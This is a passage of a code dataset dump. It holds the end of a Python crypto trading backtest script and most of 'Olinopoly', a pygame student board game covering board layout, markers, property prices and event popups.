(24*60/time_candle) #4 days freezing\n    stop_loss_activated = False\n    parameters_strategy = {\n            \"starting money\": 10000,\n            \"portfolio name\": \"test Joahnsen portfolio\",\n            \"quote currency\": \"USDT\",\n            \"time candle\": time_candle,\n            \"shares\": _shares,\n            \"days rolling window\": days_rolling_window,\n            \"time cycle in second\": time_cycle_in_second,\n            \"initial investment percentage\": initial_investment_percentage,\n            \"transaction cost\": transaction_cost,\n            \"strategy name\": strategy_name, \"freezing cycle\": _freezing_cycle,\n            \"stop loss activated\": stop_loss_activated,\n            \"start date\": datetime.strptime(start_date, '%Y-%M-%d'),\n            \"end date\": end_date}\n    johannsen_strategy = jo.JohannsenClassic(parameters_strategy)\n    # number_of_quotations_periods = market.number_of_period()\n    # johannsen_strategy = jo.JohannsenClassic(_shares,\n    #                         days_rolling_window, time_cycle_in_second,\n    #                         initial_investment_percentage, transaction_cost,\n    #                         _freezing_cycle, stop_loss_activated,\n    #                         start_date, end_date,\n    #                         strategy_name)\n\n    constant_std = 4.5\n    johannsen_strategy.do_strategy(constant_std, pairs_to_trade, False)\n    print(\"Strategy: Done.\")\n","repo_name":"BeniGottesman/TradingBot","sub_path":"Backtest/Backtest.py","file_name":"Backtest.py","file_ext":"py","file_size_in_byte":4385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18631352056","text":"# -*- coding: utf-8 -*-\n\"\"\"\nOlinopoly: A board game for Olin!\nSoftwareDesign Project 2014 Spring\n\nCreated on Sun Apr  6 21:34:32 2014\n\n@author: SeongHyeok Im, Inseong Joe and Dongyoung Kang\n\n@note:\n    Code-style:\n        - Camelcase for function and class.\n        - Underscore for variable.\n        - Prefix 'g_' for global viarlable.\n\"\"\"\n\n############################################################################\n# Imports\n############################################################################\n\nimport pygame\nfrom pygame.locals import *\nimport random\nimport time\nimport os\n\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\nimport Buttons\nimport textbox\n\n############################################################################\n# Debug options\n############################################################################\n\ng_debug_dice = True\n\n############################################################################\n# Global variabless\n############################################################################\n\nMAPBLOCK_TYPE_LOCATION = 0\nMAPBLOCK_TYPE_COURSE = 1\nMAPBLOCK_TYPE_EVENT = 2\nMAPBLOCK_TYPE_CHANCE = 3\n\n# Path\ng_image_dir_path = os.path.join(os.curdir, \"img\")\ng_map_block_dir_path = os.path.join(g_image_dir_path, \"map\")\ng_marker_image_dir_path = os.path.join(g_image_dir_path, \"marker\")\ng_olin_logo_dir_path = os.path.join(g_image_dir_path, \"logo\")\ng_profile_dir_path = os.path.join(g_image_dir_path, \"profile\")\ng_dice_dir_path = os.path.join(g_image_dir_path, \"dice\")\n\ng_txt_dir_path = os.path.join(os.curdir, \"txt\")\ng_map_block_game_txt_dir_path = os.path.join(g_txt_dir_path, \"map_block_desc/game\")\ng_map_block_olin_txt_dir_path = os.path.join(g_txt_dir_path, \"map_block_desc/olin\")\n\n# Screen\ng_screen_board_width = 700\ng_screen_board_height = 700\ng_screen_status_width = int(g_screen_board_width * 0.6)\n\ng_screen_width = g_screen_board_width + g_screen_status_width   # DO NOT CHANGE\ng_screen_height = g_screen_board_height # DO NOT CHANGE\n\ng_line_width = 2\n\n# Popup Screen\ng_popup_screen_rect = (\n    g_screen_width * 0.2,\n    g_screen_height * 0.25,\n    g_screen_width * 0.6,\n    g_screen_height * 0.6\n)\n\n# Map\ng_map_num_blocks_in_line = 10\n\ng_map_num_blocks_in_line_max = 10   # DO NOT CHANGE\ng_map_num_blocks_in_line_min = 5    # DO NOT CHANGE\nassert \\\n    g_map_num_blocks_in_line_min <= g_map_num_blocks_in_line and \\\n    g_map_num_blocks_in_line_max <= g_map_num_blocks_in_line_max\ng_map_num_blocks = g_map_num_blocks_in_line * 4 - 4    # DO NOT CHANGE\ng_map_block_width = g_screen_board_width / g_map_num_blocks_in_line     # DO NOT CHANGE\ng_map_block_height = g_screen_board_height / g_map_num_blocks_in_line   # DO NOT CHANGE\ng_map_block_initial_positions = [   # DO NOT CHANGE - 4 pairs of (x, y)\n    (g_screen_board_width - g_map_block_width, g_screen_board_height - g_map_block_height),\n    (0, g_screen_board_height - g_map_block_height),\n    (0, 0),\n    (g_screen_board_width - g_map_block_width, 0)\n]\ng_map_enable_softdsg_blinking = True\n\n# Button\ng_button_roll_dice_rect = (\n    g_screen_board_width * 0.6,\n    g_screen_board_height * 0.12,\n    g_screen_board_width * 0.2,\n    g_screen_board_height * 0.06\n)\n\n# Olin Logo\ng_olin_logo_rect = (\n    g_screen_board_width * 0.4,\n    g_screen_board_height * 0.4,\n    g_screen_board_width * 0.2,\n    g_screen_board_height * 0.2,\n\n)\n\n# Game Description\ng_game_des_rect = (\n    g_screen_board_width * 0.15,\n    g_screen_board_height * 0.6,\n    g_screen_board_width * 0.35,\n    g_screen_board_height * 0.25\n)\n\n# Place Description\ng_place_des_rect = (\n    g_screen_board_width * 0.5,\n    g_screen_board_height * 0.6,\n    g_screen_board_width * 0.35,\n    g_screen_board_height * 0.25\n)\n\n# Chance Card\ng_chance_card_num = 30\ng_chance_card_position = [7, 13, 21, 29]\n\n# Card Feature\ng_location_position = [1, 5, 12, 16, 20, 22, 25, 28, 31] # 9\ng_course_position = [2, 3, 11, 23, 30]  # 5\ng_event_position = [4, 6, 8, 9, 10, 14, 15, 17, 18, 19, 24, 26, 27, 32, 33, 34] # 16\ng_softdsg_card_position = [35]\n\ng_tips_position = [6]\ng_sibb_position = [8]\ng_career_fair_position = [24]\ng_study_abroad_position = [15]\n\n# Current turn information area\ng_current_turn_area_rect = (\n    g_screen_board_width * 0.15,\n    g_screen_board_height * 0.12,\n    g_screen_board_width * 0.35,\n    g_screen_board_height * 0.06\n)\ng_current_turn_str = \"Current Turn - %s\"\n\n# Complete area (for completed markers)\ng_complete_area_rect = (\n    g_screen_board_width * 0.15,\n    g_screen_board_height * 0.2,\n    g_screen_board_width * 0.35,\n    g_screen_board_height * 0.2\n)\ng_complete_area_marker_width = g_map_block_width / 2\ng_complete_area_max_in_row = g_complete_area_rect[2] / g_complete_area_marker_width\n\n# Marker\ng_marker_start_x = g_screen_board_width - g_map_block_width\ng_marker_start_y = g_screen_board_height - g_map_block_height\ng_marker_width = g_map_block_width / 2\ng_marker_height = g_map_block_height / 3\ng_marker_initial_positions = [  # DO NOT CHANGE - 4 pairs of (x, y)\n    (g_screen_board_width + g_screen_status_width / 2, 0),\n    (g_screen_board_width + g_screen_status_width * 3 / 4, 0),\n    (g_screen_board_width + g_screen_status_width / 2, g_screen_board_height * 0.2 / 2),\n    (g_screen_board_width + g_screen_status_width * 3 / 4, g_screen_board_height * 0.2 / 2)\n]\n\n# Profile Area\ng_profile_main_rect = (\n    g_screen_board_width,\n    0,\n    g_screen_status_width * 0.5,\n    g_screen_height * 0.3\n)\n\ng_profile_other_first_rect = (\n    g_screen_board_width,\n    g_screen_board_height * 0.3,\n    g_screen_status_width / 3.0,\n    g_screen_board_height * 0.2\n)\n\n# StatusArea Area\ng_status_main_rect = (\n    g_screen_board_width + g_screen_status_width * 0.5,\n    g_screen_board_height * 0.2,\n    g_screen_status_width * 0.5,\n    g_screen_height * 0.1\n)\n\ng_status_other_first_rect = (\n    g_screen_board_width,\n    g_screen_board_height * 0.5,\n    g_screen_status_width / 3.0,\n    g_screen_board_height * 0.1\n)\n\n# Dice Image Area\ng_dice_image_rect = (\n    g_screen_board_width * 0.6,\n    g_screen_board_height * 0.2,\n    g_screen_board_width * 0.2,\n    g_screen_board_height * 0.2,\n)\n\n# Chat Box Area\ng_chat_box_rect = (\n    g_screen_board_width,\n    g_screen_board_height * 0.6,\n    g_screen_status_width,\n    g_screen_board_height * 0.35\n)\n\n# Text Box Area\ng_text_box_rect = (\n    g_screen_board_width,\n    g_screen_board_height - g_map_block_height * 0.5,\n    g_screen_status_width,\n    g_map_block_height * 0.5\n)\n\n#Owned mapblock Area\ng_owned_mapblock_size = (\n    g_map_block_width*0.3,\n    g_map_block_height*0.25\n)\n\n\n# Mapblocks and money\n\ng_mapblock_price = [None, 10000, 10000, 10000, None, # ~  4\n                    15000, None, None, None, None,   # ~  9\n                    None, 15000, 23000, None, None,  # ~ 14\n                    None, 21000, None, None, None,   # ~ 19\n                    25000, None, 18000, 20000, None, # ~ 24\n                    28000, None, None, 30000, None,  # ~ 29\n                    25000, 28000, None, None, None, 30000]\ng_mapblock_return = [None, 5000, 7000, 7000, None,   # ~  4\n                     10000, None, None, None, None,  # ~  9\n                     None, 10000, 18000, None, None, # ~ 14\n                     None, 8000, None, None, 5000,   # ~ 19\n                     15000, None, 13000, 15000, None,# ~ 24\n                     16000, None, None, 15000, None, # ~ 29\n                     20000, 14000, None, None, None, 20000]\n\ng_mapblock_name = [\"Start/End\", \"West Hall\", \"OIE\", \"Design Nature\", \"Study Break\",\n                   \"Parcel B\", \"TIPS\", \"Chance\", \"SIBB\", \"Room Draw\",\n                   \"Spring Formal\", \"UOCD\", \"Academic Center\", \"Chance\", \"Olin Van\",\n                   \"Exchange Student\", \"Library\", \"Honor Code\", \"SERV\", \"Man Hall\",\n                   \"East Hall\", \"Chance\", \"Dining Hall\", \"POE\", \"Career Fair\",\n                   \"Parking lot B\", \"Ninja Hours\", \"Study Break\", \"LPB\", \"Chance\",\n                   \"SCOPE\", \"The O\", \"Internship\", \"Graduation\", \"SERV donation\", \"Software Design\"]\n\n# Game data\ng_max_team_num = 4\ng_max_marker_on_one_map_block = 3\n\nassert 2 <= g_max_team_num <= 4\nassert 1 <= g_max_marker_on_one_map_block <= 4\n\ng_default_name = [\"Steven\", \"Inseong\", \"Danny\", \"Paul\"]\ng_default_money = 200000\ng_tuition = 40000 / 2   # half tuition\n\ng_max_popup_option_number = 4\n\ng_is_local_version = True\n\n############################################################################\n# Model Classes\n############################################################################\n\nclass OlinopolyModel:\n    def __init__(self):\n\n        self.num_of_teams = g_max_team_num\n        assert self.num_of_teams <= g_max_team_num\n\n        # Current state of game board\n        # 0: Wait for other player\n        # 1: Ready for rolling dice\n        # 2: Wait for choosing marker\n        # N: ...\n        self.current_state = 1\n\n        self.current_team_number = 0\n\n        self.my_team_number = 0\n\n        self.completed_markers = []\n\n        self.enable_mouseover_map_block_info = True\n        self.mouseover_map_block = -1  # -1 for indicating not-showing\n        self.map_block_info_game = GameDescrip(g_game_des_rect, \"c\", True)\n        self.map_block_info_place = PlaceDescrip(g_place_des_rect, \"c\", True)\n\n        self.dice_number = None\n\n        self.role_dice_only = False\n\n        self.current_land_block = None\n\n        self.was_chance = False\n\n        self.bought_block = None\n        self.possess_team = None\n        self.owned_blocks = []\n\n        self.updateOwnedMapblocks()\n        # Popup dialog\n        self.popup_state = False\n        self.popup_option_area = []\n        for i in range(g_max_popup_option_number):\n            self.popup_option_area.append(None)\n        self.popup_options = [\n            \"Option 1\",\n            \"Option 2\",\n            \"Option 3\",\n            \"Option 4\"\n        ]\n        self.popup_questions = [\n            \"Q: \"\n        ]\n        self.popup_team = None  # team which made popup\n        self.popup_player = None    # player which made popup\n\n        self.winner = None\n\n        # Set initial player data\n        self.player_data = []\n        for i in range(self.num_of_teams):\n            player_data = PlayerData(g_default_name[i], g_default_money, i)\n            self.player_data.append(player_data)\n\n        ##############################\n        # Create map blocks\n\n        # Powerful feature of our code is that it is generic!\n\n        self.map_blocks = []\n        num = 0\n\n        for i in range(4):    # 0 ~ 3 (bottom, left, top and right)\n            init_x, init_y = g_map_block_initial_positions[i]\n\n            for j in range(g_map_num_blocks_in_line - 1):    # 0 ~ n-2\n                if j == 0:\n                    x = init_x\n                    y = init_y\n                else:\n                    if i == 0:\n                        x = init_x - j * g_map_block_width\n                        y = init_y\n                    elif i == 1:\n                        x = init_x\n                        y = init_y - j * g_map_block_height\n                    elif i == 2:\n                        x = init_x + j * g_map_block_width\n                        y = init_y\n                    elif i == 3:\n                        x = init_x\n                        y = init_y + j * g_map_block_height\n\n\n                map_block_object = MapBlock(\n                    (x, y, g_map_block_width, g_map_block_height), 'i',\n                    True, num, None, None\n                )\n                self.map_blocks.append(map_block_object)\n                num += 1\n\n        for i in range(0, len(self.map_blocks)):\n            if (i in g_location_position) or (i in g_softdsg_card_position):\n                self.map_blocks[i].type = MAPBLOCK_TYPE_LOCATION\n            elif i in g_course_position:\n                self.map_blocks[i].type = MAPBLOCK_TYPE_COURSE\n            elif i in g_event_position:\n                self.map_blocks[i].type = MAPBLOCK_TYPE_EVENT\n            elif i in g_chance_card_position:\n                self.map_blocks[i].type = MAPBLOCK_TYPE_CHANCE\n            logger.debug(\"map block %02d - x: %3d / y: %3d / num: %2d\",\n                i, self.map_blocks[i].rect[0], self.map_blocks[i].rect[1], self.map_blocks[i].num\n            )\n\n\n        ##############################\n        # Create markers\n\n        self.markers = []\n        for i in range(g_max_team_num):\n            self.markers.append([]) # for each team\n\n        for i in range(self.num_of_teams):  # for each team\n            visible = True if i == self.my_team_number else False\n            for j in range(4):  # for each class\n                init_x, init_y = g_marker_initial_positions[j]\n                marker = Marker(\n                    (init_x, init_y, g_screen_status_width / 4, g_screen_board_height * 0.2 / 2),\n                    'i', visible, i, j, None\n                )\n                self.markers[i].append(marker)\n\n        ##############################\n        # Current turn information area\n        self.current_turn_area = CurrentTurnArea(\n            g_current_turn_area_rect, 'c', True\n        )\n        self.current_turn_area.font_pos = (\n            g_current_turn_area_rect[0] + 10,\n            g_current_turn_area_rect[1] + 10\n        )\n\n        ##############################\n        # Create complete area\n\n        self.complete_area = CompleteArea(\n            g_complete_area_rect, 'c', True\n        )\n\n        ##############################\n        # Create roll dice button\n\n        self.button_roll_dice = Buttons.Button()\n\n        ##############################\n        # Create Olin Logo\n\n        self.olin_logo = OlinLogo(\n            g_olin_logo_rect, 'i', True\n        )\n\n        ##############################\n        # Game Description\n\n        self.game_descrip = GameDescrip(\n            g_game_des_rect, 'c', True\n        )\n\n        ##############################\n        # Place Description\n\n        self.place_descrip = PlaceDescrip(\n            g_place_des_rect, 'c', True\n        )\n\n        ##############################\n        # Create Profile and status\n\n        self.user_profiles = []\n        self.user_status = []\n\n        for i in range(4):\n            profile = ProfileArea((0, 0, 0, 0), 'i', True, i)\n            status = StatusArea((0, 0, 0, 0), 'c', True, i)\n            self.user_profiles.append(profile)\n            self.user_status.append(status)\n\n        self.updateProfilePosition()\n\n        ##############################\n        # Chat box\n\n        self.chat_box = textbox.ChatBox(g_chat_box_rect, 1)\n\n        ##############################\n        # Text box\n\n        self.text_box = textbox.TextBox(g_text_box_rect, 1)\n\n        ##############################\n        # Create Rolling Dice \"Animation\"\n\n        self.rolling_dice = DiceImage(\n            g_dice_image_rect, 'i', True, self.dice_number\n        )\n\n        ###############################\n\n\n\n\n    def setState(self, target_state):\n        self.current_state = target_state\n\n    def changeToNextTeam(self):\n        logger.debug(\"Previous team: %d\" % (self.current_team_number))\n\n        if self.current_team_number == self.num_of_teams - 1:   # if: last team\n            self.changeCurrentTeam(0)\n        else:\n            self.changeCurrentTeam(self.current_team_number + 1)    # change to next team\n\n        logger.debug(\"Current team: %d\" % (self.current_team_number))\n\n    def changeCurrentTeam(self, target_team):\n        self.current_team_number = target_team\n        if g_is_local_version:\n            self.my_team_number = self.current_team_number\n\n        if g_is_local_version:\n            self.updateProfilePosition()\n        self.updateMarkerVisibility()\n\n    def updateMarkerVisibility(self):\n        for i in range(self.num_of_teams):\n            for marker in self.markers[i]:\n                if 0 <= marker.block_pos < g_map_num_blocks:\n                    marker.is_visible = True\n                # if marker is my marker\n                elif marker.block_pos == None:\n                    if i == self.my_team_number:\n                        marker.is_visible = True\n                    else:\n                        marker.is_visible = False\n\n    def moveMarker(self, team, player, target_pos, move_other_together=False):\n        logger.debug(\"#########################\")\n        logger.debug(\"moveMarker() Enter\")\n        logger.debug(\"=== Input values ===\")\n        logger.debug(\"team    : %d\" % (team))\n        logger.debug(\"player  : %d\" % (player))\n        logger.debug(\"target  : %d\" % (target_pos))\n        logger.debug(\"together: %d\" % (move_other_together))\n        logger.debug(\"====================\")\n\n        self.current_land_block = None\n\n        if target_pos >= g_map_num_blocks:\n            target_pos = -1 # -1 means completed\n        else:\n            # Check availabiltiy\n            if len(self.map_blocks[target_pos].markers_on_block) == g_max_marker_on_one_map_block:\n                if self.map_blocks[target_pos].markers_on_block[0][0] == team:\n                    logger.debug(\"Failed to move marker: max reached\")\n                    logger.debug(\"moveMarker() Leave\")\n                    logger.debug(\"#########################\")\n                    return False\n            if len(self.map_blocks[target_pos].markers_on_block) > 0:\n                if self.map_blocks[target_pos].markers_on_block[0][0] == team:\n                    if not self.player_data[self.current_team_number].is_sibb:\n                        logger.debug(\"is_sibb is False, so cannot piggy-back\")\n                        return False\n\n        prev_pos = self.markers[team][player].block_pos\n        logger.debug(\"prev: %s\" % (str(prev_pos)))\n\n        self.markers[team][player].block_pos = target_pos\n        self.markers[team][player].prev_block_pos = prev_pos\n\n        if target_pos == -1:    # add to completed area\n            current_len = len(self.completed_markers)\n            if current_len < g_complete_area_max_in_row:\n                x = g_complete_area_rect[0] + g_map_block_width / 2 * current_len\n                y = g_complete_area_rect[1]\n                w = g_complete_area_marker_width\n                h = g_map_block_height\n            else:\n                x = g_complete_area_rect[0] + g_map_block_width * current_len\n                y = g_complete_area_rect[1] + g_complete_area_rect[3] / 2\n                w = g_complete_area_marker_width\n                h = g_map_block_height\n            self.markers[team][player].rect = (x, y, w, h)\n            self.markers[team][player].reloadImage()\n            self.completed_markers.append((team, player))\n\n        else:   # add to current map block\n            map_block = self.map_blocks[target_pos]\n            markers = map_block.markers_on_block\n            current_len = len(markers)\n\n            # if there is another player's markers, they are caught by current marker\n            if current_len > 0:\n                if markers[0][0] != team:\n                    markers = []\n                    for marker in map_block.markers_on_block:\n                        markers.append(marker)\n\n                    c = 's' if len(markers) > 1 else ''\n                    self.add_system_msg(\"%s caught %s's marker%s.\" % (\n                        self.get_current_player_name(), self.get_player_name(markers[0][0]), c)\n                    )\n\n                    for marker in markers:\n                        t, p = marker\n                        logger.debug(\"marker %d,%d is moved to the beginning\" % (t, p))\n                        prev = self.markers[t][p].block_pos\n                        self.markers[t][p].block_pos = None\n\n                        x, y = g_marker_initial_positions[p]\n                        w = g_screen_status_width / 4\n                        h = g_screen_board_height * 0.2 / 2\n                        self.markers[t][p].rect = (\n                            x, y, w, h\n                        )\n                        self.markers[t][p].reloadImage()\n\n                        # remove other markers from the map block\n                        self.map_blocks[prev].markers_on_block.remove([t, p])\n                    self.updateMarkerVisibility()\n\n            self.map_blocks[target_pos].markers_on_block.append([team, player])\n\n            map_block = self.map_blocks[target_pos]\n            markers = map_block.markers_on_block\n            current_len = len(markers)\n\n            # change x, y position of marker based on target map block\n            logger.debug(\"current length of markers in the target map block: [%d]\" % (current_len))\n            for i in range(current_len):\n                marker = markers[i]\n                team, player = marker\n                logger.debug(\"i: %d / t:%d, p:%d\" % (i, team, player))\n\n                x = map_block.rect[0] + (g_map_block_width / current_len) * i\n                y = map_block.rect[1]\n\n                self.markers[team][player].rect = (\n                    x, y,\n                    map_block.rect[2] / 2,\n                    map_block.rect[3]\n                )\n                if self.markers[team][player].prev_block_pos == None:\n                    self.markers[team][player].reloadImage()\n\n            self.current_land_block = self.map_blocks[target_pos]\n\n        logger.debug(\"final target: %d\" % (target_pos))\n\n\n        if prev_pos == None:    # pay tuition\n            self.player_data[team].money -= g_tuition\n            self.add_system_msg(\"%s paid tuition, %d.\" % (self.get_current_player_name(), g_tuition))\n        else:   # remove from previous map block\n            self.map_blocks[prev_pos].markers_on_block.remove([team, player])\n\n            # move others in the same map block\n            if (move_other_together):\n                logger.debug(\"other markers / len: %d\" % (len(self.map_blocks[prev_pos].markers_on_block)))\n                markers = []\n                for marker in self.map_blocks[prev_pos].markers_on_block:\n                    markers.append(marker)\n                for marker in markers:\n                    t, p = marker\n                    logger.debug(\"t: %d / p: %d\" % (t, p))\n                    self.moveMarker(t, p, target_pos)\n                #self.map_blocks.sort()\n\n        self.check_winner()\n\n        logger.debug(\"moveMarker() Leave\")\n        logger.debug(\"#########################\")\n\n        return True\n\n    def check_winner(self):\n        for i in range(self.num_of_teams):\n            chk = True\n            for j in range(4):\n                if self.markers[i][j].block_pos != -1:\n                    chk = False\n                    break\n            if chk:\n                self.winner = i\n                self.add_system_msg(\"%s is winner!!\" % (self.get_player_name(i)))\n                break\n\n    def blinkSoftDsg(self):\n        if g_map_enable_softdsg_blinking:\n            for i in g_softdsg_card_position:\n                if i < len(self.map_blocks):\n                    map_block = self.map_blocks[i]\n                    if map_block.current_color == 'r':\n                        map_block.current_color = 'g'\n                    elif map_block.current_color == 'g':\n                        map_block.current_color = 'b'\n                    elif map_block.current_color == 'b':\n                        map_block.current_color = 'r'\n                    img_path = os.path.join(g_map_block_dir_path, \"%d%c.png\" % (i, map_block.current_color))\n                    #logger.debug(\"next image: %s\" % (img_path))\n                    map_block.img = pygame.transform.scale(\n                        pygame.image.load(img_path),\n                        (map_block.rect[2] - g_line_width * 2, map_block.rect[3] - g_line_width * 2)\n                    )\n\n    def updateProfilePosition(self):\n        other_profile_x = g_profile_other_first_rect[0]\n        other_name_x = g_status_other_first_rect[0] + g_status_other_first_rect[2] * 0.1\n        for i in range(self.num_of_teams):\n            if i == self.my_team_number:\n                self.user_profiles[i].rect = g_profile_main_rect\n                self.user_status[i].rect = g_status_main_rect\n                self.user_status[i].name_pos = (\n                    g_status_main_rect[0] + g_status_main_rect[2] * 0.1,\n                    g_status_main_rect[1] + g_status_main_rect[3] * 0.05\n                )\n                self.user_status[i].money_pos = (\n                    g_status_main_rect[0] + g_status_main_rect[2] * 0.1,\n                    g_status_main_rect[1] + g_status_main_rect[3]/2 + g_status_main_rect[3] * 0.05\n                )\n            else:\n                x = other_profile_x\n                y = g_profile_other_first_rect[1]\n                w = g_profile_other_first_rect[2]\n                h = g_profile_other_first_rect[3]\n                self.user_profiles[i].rect = (x, y, w, h)\n\n                x = other_profile_x\n                y = g_status_other_first_rect[1]\n                w = g_status_other_first_rect[2]\n                h = g_status_other_first_rect[3]\n                self.user_status[i].rect = (x, y, w, h)\n\n                y = y + g_status_other_first_rect[3] * 0.05\n                self.user_status[i].name_pos = (\n                    other_name_x,\n                    y\n                )\n                self.user_status[i].money_pos = (\n                    other_name_x,\n                    y + g_status_other_first_rect[3] * 0.5\n                )\n\n                other_profile_x += g_screen_status_width / (self.num_of_teams - 1)\n                other_name_x += g_screen_status_width / (self.num_of_teams - 1)\n\n            self.user_profiles[i].reloadImage()\n\n    def get_current_player_name(self):\n            return self.get_player_name(self.current_team_number)\n\n    def get_player_name(self, n):\n        return self.player_data[n].name\n\n    def add_system_msg(self, s):\n        self.chat_box.add_sentence(\"Olinopoly- \" + s)\n\n    ###############################################\n    # Implement Mapblock Features\n    ###############################################\n\n    def mapblockPopup(self, current_pos, current_pos_type, current_pos_team, current_pos_num, player):\n        logger.debug(\"block type is: %d\" % (current_pos_type))\n\n        self.popup_state = True\n\n        if (current_pos_type == MAPBLOCK_TYPE_LOCATION) or (current_pos_type == MAPBLOCK_TYPE_COURSE):\n            if current_pos_team == None:\n                self.popup_state = True\n                self.popup_options = [\n                    \"Yes\",\n                    \"No\",\n                ]\n                self.popup_questions = [\"Q: Would you like to buy for %d ?\" % (g_mapblock_price[current_pos_num])]\n            else:\n                self.popup_state = False\n                if current_pos_team != self.current_team_number:\n                    # pay money\n                    self.player_data[current_pos_team].money += g_mapblock_price[current_pos_num]\n                    self.player_data[self.current_team_number].money -= g_mapblock_price[current_pos_num]\n                    self.add_system_msg(\"%s paid %s, %d\" % (\n                            self.get_current_player_name(), self.get_player_name(current_pos_team), g_mapblock_price[current_pos_num]\n                        )\n                    )\n        elif current_pos_type == MAPBLOCK_TYPE_EVENT:\n            if current_pos_num == 4:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"You miss a turn.\",\n                    \"Go take a study break!\"]\n                self.player_data[self.current_team_number].remaining_miss_turn = 1\n            elif current_pos_num == 6:\n                self.popup_options = [\"Close\"]\n                if self.player_data[self.current_team_number].is_tips:\n                    self.popup_questions = [\n                        \"You have already taken tips.\"]\n                else:\n                    self.popup_questions = [\n                        \"Congratulations.\",\n                        \"You can now enter ManHall!\"]\n            elif current_pos_num == 8:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\"Now you can piggy-back your markers.\"]\n                self.player_data[self.current_team_number].is_sibb = True\n            elif current_pos_num == 9:\n                self.popup_options = [\"Roll Dice\"]\n                self.popup_questions = [\"Roll the dice and earn times 5000\"]\n                self.player_data[self.current_team_number].is_one_more = True\n                self.role_dice_only = True\n            elif current_pos_num == 10:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"You lose money.\",\n                    \"Go enjoy the spring formal.\"]\n            elif current_pos_num == 14:\n                self.popup_options = [\"Take Olin Van!\"]\n                self.popup_questions = [\"You can roll the dice one more time.\"]\n                self.player_data[self.current_team_number].is_one_more = True\n            elif current_pos_num == 15:\n                self.popup_options = [\n                    \"Belgium\",\n                    \"Korea\",\n                    \"France\",\n                    \"Singapore\"]\n                self.popup_questions = [\"Choose a country to study abroad\"]\n            elif current_pos_num == 17:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"You got caught by the Honor Board!\",\n                    \"You lose money.\"]\n            elif current_pos_num == 18:\n                self.popup_options = [\"Collect Money\"]\n                self.popup_questions = [\n                    \"Congratulations!\",\n                    \"You are the winner of the SERV money\"]\n            elif current_pos_num == 19:\n                if self.player_data[self.current_team_number].is_tips:\n                    self.player_data[self.current_team_number].is_one_more = True\n                    self.popup_questions = [\n                        \"Welcome to ManHall Party!\",\n                        \"Enjoy and roll the dice one more time!\"]\n                    self.popup_options = [\"Whooray!!!! :-)\"]\n                else:\n                    self.popup_questions = [\n                        \"You cannot enjoy ManHall Party\",\n                        \"because you didn't take TIPS!\"\n                    ]\n                    self.popup_options = [\"Okay..... T.T\"]\n                # if landed on tips: has to pay but can party(roll dice one more time)\n                # if did not land on tips: has to pay but cannot party\n                self.player_data[self.current_team_number].money -= g_mapblock_return[19]\n            elif current_pos_num == 24:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"You can now get a better internship\"\n                ]\n            elif current_pos_num == 26:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"You miss a turn.\",\n                    \"Go to NINJA hours.\"\n                ]\n                self.player_data[self.current_team_number].remaining_miss_turn = 1\n            elif current_pos_num == 27:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"It's spring break!\",\n                    \"Go enjoy your break for 2 turns.\"\n                ]\n                self.player_data[self.current_team_number].remaining_miss_turn = 2\n            elif current_pos_num == 32:\n                self.popup_options = [\"Close\"]\n                self.popup_questions = [\n                    \"You got an internship!\",\n                    \"Go do work for a turn and earn money.\"\n                ]\n                self.player_data[self.current_team_number].remaining_miss_turn = 1\n            #elif current_pos_num == 33:\n             #   if not senior\n                #self.popup_options = [\"Pay Senior\"]\n                #self.popup_questions = [\"Give a present to the seniors\"]\n            #   if senior\n                #self.popup_options = [\"Graduate\"]\n                #self.popup_quesitons = [\"Congratulations!\", \"You now have earned your bachelor's degree!\"]\n            elif current_pos_num == 34:\n                self.popup_options = [\"Donate\"]\n                self.popup_questions = [\"Donate to SERV!\"]\n\n        elif current_pos_type == MAPBLOCK_TYPE_CHANCE:\n            self.popup_options = [\"Draw Chance Card\"]\n            self.popup_questions = [\"Chance Card!\"]\n\n        self.popup_team = self.current_team_number\n        self.popup_player = player\n\n    def updateOwnedMapblocks(self):\n        for i in range(g_max_team_num):\n            if self.bought_block == None:\n                pass\n            else:\n                if self.bought_block.num <= g_map_num_blocks_in_line - 1:\n                    rect = (\n                        self.bought_block.rect[0],\n                        self.bought_block.rect[1] - g_map_block_height * 0.25,\n                        g_map_block_width * 0.3,\n                        g_map_block_height * 0.25\n                    )\n                elif g_map_num_blocks_in_line -1 < self.bought_block.num <= (g_map_num_blocks_in_line-1) * 2:\n                    rect = (\n                        self.bought_block.rect[0] + g_map_block_height,\n                        self.bought_block.rect[1],\n                        g_map_block_height * 0.25,\n                        g_map_block_width * 0.3\n                    )\n                elif (g_map_num_blocks_in_line-1) * 2 <self.bought_block.num <= (g_map_num_blocks_in_line - 1) * 3:\n                    rect = (\n                        self.bought_block.rect[0],\n                        self.bought_block.rect[1] + g_map_block_height,\n                        g_map_block_width * 0.3,\n                        g_map_block_height * 0.25\n                    )\n                elif (g_map_num_blocks_in_line - 1) * 3 < self.bought_block.num:\n                    rect = (\n                        self.bought_block.rect[0] - g_map_block_height * 0.25,\n                        self.bought_block.rect[1],\n                        g_map_block_height * 0.25,\n                        g_map_block_width * 0.3\n                    )\n                owns_mapblock = OwnsMapblock(\n                    rect,\n                    'c',\n                    True,\n                    self.possess_team,\n                    self.bought_block\n                )\n                self.owned_blocks.append(owns_mapblock)\n\nclass Drawable(object):\n    def __init__(self, rect, c_or_i, is_visible):\n        self.rect = rect    # rect is (x, y, width, height)\n        self.c_or_i = c_or_i\n        self.is_visible = is_visible\n\nclass MapBlock(Drawable):\n    def __init__(self, rect, c_or_i, is_visible, num, team, mapblock_type):\n        super(MapBlock, self).__init__(rect, c_or_i, is_visible)\n        # map block number\n        self.num = num\n\n        # count markers that are on a block\n        self.markers_on_block = []   # pairs of [team, player]\n\n        # Which team possesses mapblock\n        self.team = team\n\n        #type of mapblock\n        self.type = mapblock_type\n\n        # image\n        if c_or_i == 'i':\n            if num in g_chance_card_position:\n                img_path = os.path.join(g_map_block_dir_path, \"chance.png\")\n            elif num in g_softdsg_card_position:\n                self.current_color = 'r'\n                img_path = os.path.join(g_map_block_dir_path, \"%d%c.png\" % (num, self.current_color))\n            else:\n                img_path 